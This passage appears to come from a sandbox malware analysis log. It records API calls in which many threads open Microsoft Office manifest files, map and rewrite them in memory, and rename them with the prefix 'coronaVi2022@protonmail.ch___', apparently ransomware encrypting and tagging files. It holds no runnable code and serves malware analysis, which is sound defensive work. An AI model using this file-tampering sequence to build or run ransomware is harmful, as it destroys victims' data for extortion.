	[0091.376] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 1
	[0091.433] free (_Block=0x2fe7910) 
	[0091.433] RtlExitUserThread (Status=0x0) 

Thread:
	id = 328
	os_tid = 0x15a8

	[0089.976] _alloca_probe () returned 0x40328a
	[0089.977] GetCurrentThreadId () returned 0x15a8
	[0089.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0089.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x85c
	[0089.977] GetFileSizeEx (in: hFile=0x85c, lpFileSize=0x4c9ff5c | out: lpFileSize=0x4c9ff5c*=1273) returned 1
	[0089.978] CreateFileMappingA (hFile=0x85c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x501, lpName=0x0) returned 0x860
	[0089.978] MapViewOfFile (hFileMappingObject=0x860, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x43d0000
	[0090.174] UnmapViewOfFile (lpBaseAddress=0x43d0000) returned 1
	[0090.174] CloseHandle (hObject=0x860) returned 1
	[0090.174] GetCurrentThreadId () returned 0x15a8
	[0090.174] FlushFileBuffers (hFile=0x85c) returned 1
	[0091.176] CloseHandle (hObject=0x85c) returned 1
	[0091.352] _swprintf (in: param_1=0x4c99f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 162
	[0091.353] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 1
	[0091.399] free (_Block=0x2fe8918) 
	[0091.399] RtlExitUserThread (Status=0x0) 

Thread:
	id = 329
	os_tid = 0x15ac

	[0089.980] _alloca_probe () returned 0x40328a
	[0089.980] GetCurrentThreadId () returned 0x15ac
	[0089.980] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0089.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x868
	[0089.981] GetFileSizeEx (in: hFile=0x868, lpFileSize=0x4ddff5c | out: lpFileSize=0x4ddff5c*=1459) returned 1
	[0089.981] CreateFileMappingA (hFile=0x868, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5b5, lpName=0x0) returned 0x86c
	[0089.982] MapViewOfFile (hFileMappingObject=0x86c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x43e0000
	[0090.175] UnmapViewOfFile (lpBaseAddress=0x43e0000) returned 1
	[0090.175] CloseHandle (hObject=0x86c) returned 1
	[0090.175] GetCurrentThreadId () returned 0x15ac
	[0090.175] FlushFileBuffers (hFile=0x868) returned 1
	[0091.180] CloseHandle (hObject=0x868) returned 1
	[0091.353] _swprintf (in: param_1=0x4dd9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 162
	[0091.353] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 1
	[0091.399] free (_Block=0x2fea928) 
	[0091.399] RtlExitUserThread (Status=0x0) 

Thread:
	id = 330
	os_tid = 0x15b0

	[0089.983] _alloca_probe () returned 0x40328a
	[0089.984] GetCurrentThreadId () returned 0x15b0
	[0089.984] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0089.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874
	[0089.984] GetFileSizeEx (in: hFile=0x874, lpFileSize=0x50eff5c | out: lpFileSize=0x50eff5c*=1273) returned 1
	[0089.984] CreateFileMappingA (hFile=0x874, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x501, lpName=0x0) returned 0x878
	[0089.985] MapViewOfFile (hFileMappingObject=0x878, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x4e20000
	[0090.300] UnmapViewOfFile (lpBaseAddress=0x4e20000) returned 1
	[0090.300] CloseHandle (hObject=0x878) returned 1
	[0090.301] GetCurrentThreadId () returned 0x15b0
	[0090.301] FlushFileBuffers (hFile=0x874) returned 1
	[0091.249] CloseHandle (hObject=0x874) returned 1
	[0091.372] _swprintf (in: param_1=0x50e9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 162
	[0091.372] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 1
	[0091.431] free (_Block=0x2fe5900) 
	[0091.431] RtlExitUserThread (Status=0x0) 

Thread:
	id = 331
	os_tid = 0x15b4

	[0089.986] _alloca_probe () returned 0x40328a
	[0089.987] GetCurrentThreadId () returned 0x15b4
	[0089.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0089.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x880
	[0089.987] GetFileSizeEx (in: hFile=0x880, lpFileSize=0x51eff5c | out: lpFileSize=0x51eff5c*=3763) returned 1
	[0089.988] CreateFileMappingA (hFile=0x880, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xeb5, lpName=0x0) returned 0x884
	[0089.988] MapViewOfFile (hFileMappingObject=0x884, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x4e70000
	[0090.300] UnmapViewOfFile (lpBaseAddress=0x4e70000) returned 1
	[0090.300] CloseHandle (hObject=0x884) returned 1
	[0090.300] GetCurrentThreadId () returned 0x15b4
	[0090.300] FlushFileBuffers (hFile=0x880) returned 1
	[0091.247] CloseHandle (hObject=0x880) returned 1
	[0091.372] _swprintf (in: param_1=0x51e9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 162
	[0091.372] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 1
	[0091.430] free (_Block=0x2fe9920) 
	[0091.430] RtlExitUserThread (Status=0x0) 

Thread:
	id = 332
	os_tid = 0x15b8

	[0089.995] _alloca_probe () returned 0x40328a
	[0089.996] GetCurrentThreadId () returned 0x15b8
	[0089.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0089.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x88c
	[0089.996] GetFileSizeEx (in: hFile=0x88c, lpFileSize=0x552ff5c | out: lpFileSize=0x552ff5c*=1273) returned 1
	[0089.997] CreateFileMappingA (hFile=0x88c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x501, lpName=0x0) returned 0x890
	[0089.997] MapViewOfFile (hFileMappingObject=0x890, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x4e80000
	[0090.298] UnmapViewOfFile (lpBaseAddress=0x4e80000) returned 1
	[0090.298] CloseHandle (hObject=0x890) returned 1
	[0090.299] GetCurrentThreadId () returned 0x15b8
	[0090.299] FlushFileBuffers (hFile=0x88c) returned 1
	[0091.244] CloseHandle (hObject=0x88c) returned 1
	[0091.371] _swprintf (in: param_1=0x5529f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 162
	[0091.371] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 1
	[0091.429] free (_Block=0x51f60a0) 
	[0091.429] RtlExitUserThread (Status=0x0) 

Thread:
	id = 333
	os_tid = 0x15bc

	[0090.029] _alloca_probe () returned 0x40328a
	[0090.029] GetCurrentThreadId () returned 0x15bc
	[0090.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0090.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x898
	[0090.030] GetFileSizeEx (in: hFile=0x898, lpFileSize=0x566ff5c | out: lpFileSize=0x566ff5c*=1273) returned 1
	[0090.030] CreateFileMappingA (hFile=0x898, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x501, lpName=0x0) returned 0x89c
	[0090.031] MapViewOfFile (hFileMappingObject=0x89c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x4e90000
	[0090.289] UnmapViewOfFile (lpBaseAddress=0x4e90000) returned 1
	[0090.289] CloseHandle (hObject=0x89c) returned 1
	[0090.289] GetCurrentThreadId () returned 0x15bc
	[0090.290] FlushFileBuffers (hFile=0x898) returned 1
	[0091.240] CloseHandle (hObject=0x898) returned 1
	[0091.370] _swprintf (in: param_1=0x5669f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 162
	[0091.370] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 1
	[0091.428] free (_Block=0x51f70a8) 
	[0091.428] RtlExitUserThread (Status=0x0) 

Thread:
	id = 334
	os_tid = 0x15c0

	[0090.032] _alloca_probe () returned 0x40328a
	[0090.033] GetCurrentThreadId () returned 0x15c0
	[0090.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0090.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a4
	[0090.033] GetFileSizeEx (in: hFile=0x8a4, lpFileSize=0x57aff5c | out: lpFileSize=0x57aff5c*=1273) returned 1
	[0090.033] CreateFileMappingA (hFile=0x8a4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x501, lpName=0x0) returned 0x8a8
	[0090.034] MapViewOfFile (hFileMappingObject=0x8a8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x4ea0000
	[0090.289] UnmapViewOfFile (lpBaseAddress=0x4ea0000) returned 1
	[0090.289] CloseHandle (hObject=0x8a8) returned 1
	[0090.289] GetCurrentThreadId () returned 0x15c0
	[0090.289] FlushFileBuffers (hFile=0x8a4) returned 1
	[0091.237] CloseHandle (hObject=0x8a4) returned 1
	[0091.368] _swprintf (in: param_1=0x57a9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 162
	[0091.369] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 1
	[0091.428] free (_Block=0x51f3088) 
	[0091.428] RtlExitUserThread (Status=0x0) 

Thread:
	id = 335
	os_tid = 0x15c4

	[0090.037] _alloca_probe () returned 0x40328a
	[0090.037] GetCurrentThreadId () returned 0x15c4
	[0090.037] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0090.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b0
	[0090.038] GetFileSizeEx (in: hFile=0x8b0, lpFileSize=0x58eff5c | out: lpFileSize=0x58eff5c*=527963) returned 1
	[0090.038] CreateFileMappingA (hFile=0x8b0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x80e65, lpName=0x0) returned 0x8b4
	[0090.042] MapViewOfFile (hFileMappingObject=0x8b4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x58f0000
	[0091.082] UnmapViewOfFile (lpBaseAddress=0x58f0000) returned 1
	[0091.087] CloseHandle (hObject=0x8b4) returned 1
	[0091.087] GetCurrentThreadId () returned 0x15c4
	[0091.087] FlushFileBuffers (hFile=0x8b0) returned 1
	[0091.339] CloseHandle (hObject=0x8b0) returned 1
	[0091.378] _swprintf (in: param_1=0x58e9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 162
	[0091.378] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 1
	[0091.437] free (_Block=0x51f0070) 
	[0091.437] RtlExitUserThread (Status=0x0) 

Thread:
	id = 336
	os_tid = 0x15c8

	[0090.046] _alloca_probe () returned 0x40328a
	[0090.047] GetCurrentThreadId () returned 0x15c8
	[0090.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0090.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8bc
	[0090.047] GetFileSizeEx (in: hFile=0x8bc, lpFileSize=0x5abff5c | out: lpFileSize=0x5abff5c*=1273) returned 1
	[0090.047] CreateFileMappingA (hFile=0x8bc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x501, lpName=0x0) returned 0x8c0
	[0090.048] MapViewOfFile (hFileMappingObject=0x8c0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x5ac0000
	[0090.282] UnmapViewOfFile (lpBaseAddress=0x5ac0000) returned 1
	[0090.282] CloseHandle (hObject=0x8c0) returned 1
	[0090.282] GetCurrentThreadId () returned 0x15c8
	[0090.282] FlushFileBuffers (hFile=0x8bc) returned 1
	[0091.236] CloseHandle (hObject=0x8bc) returned 1
	[0091.367] _swprintf (in: param_1=0x5ab9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 162
	[0091.367] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 1
	[0091.427] free (_Block=0x51f5098) 
	[0091.427] RtlExitUserThread (Status=0x0) 

Thread:
	id = 337
	os_tid = 0x15cc

	[0090.050] _alloca_probe () returned 0x40328a
	[0090.050] GetCurrentThreadId () returned 0x15cc
	[0090.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0090.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c8
	[0090.051] GetFileSizeEx (in: hFile=0x8c8, lpFileSize=0x5c0ff5c | out: lpFileSize=0x5c0ff5c*=3389) returned 1
	[0090.051] CreateFileMappingA (hFile=0x8c8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd49, lpName=0x0) returned 0x8cc
	[0090.052] MapViewOfFile (hFileMappingObject=0x8cc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x5c10000
	[0090.282] UnmapViewOfFile (lpBaseAddress=0x5c10000) returned 1
	[0090.282] CloseHandle (hObject=0x8cc) returned 1
	[0090.282] GetCurrentThreadId () returned 0x15cc
	[0090.282] FlushFileBuffers (hFile=0x8c8) returned 1
	[0091.234] CloseHandle (hObject=0x8c8) returned 1
	[0091.366] _swprintf (in: param_1=0x5c09f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 162
	[0091.366] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 1
	[0091.426] free (_Block=0x51f4090) 
	[0091.426] RtlExitUserThread (Status=0x0) 

Thread:
	id = 338
	os_tid = 0x15d0

	[0090.054] _alloca_probe () returned 0x40328a
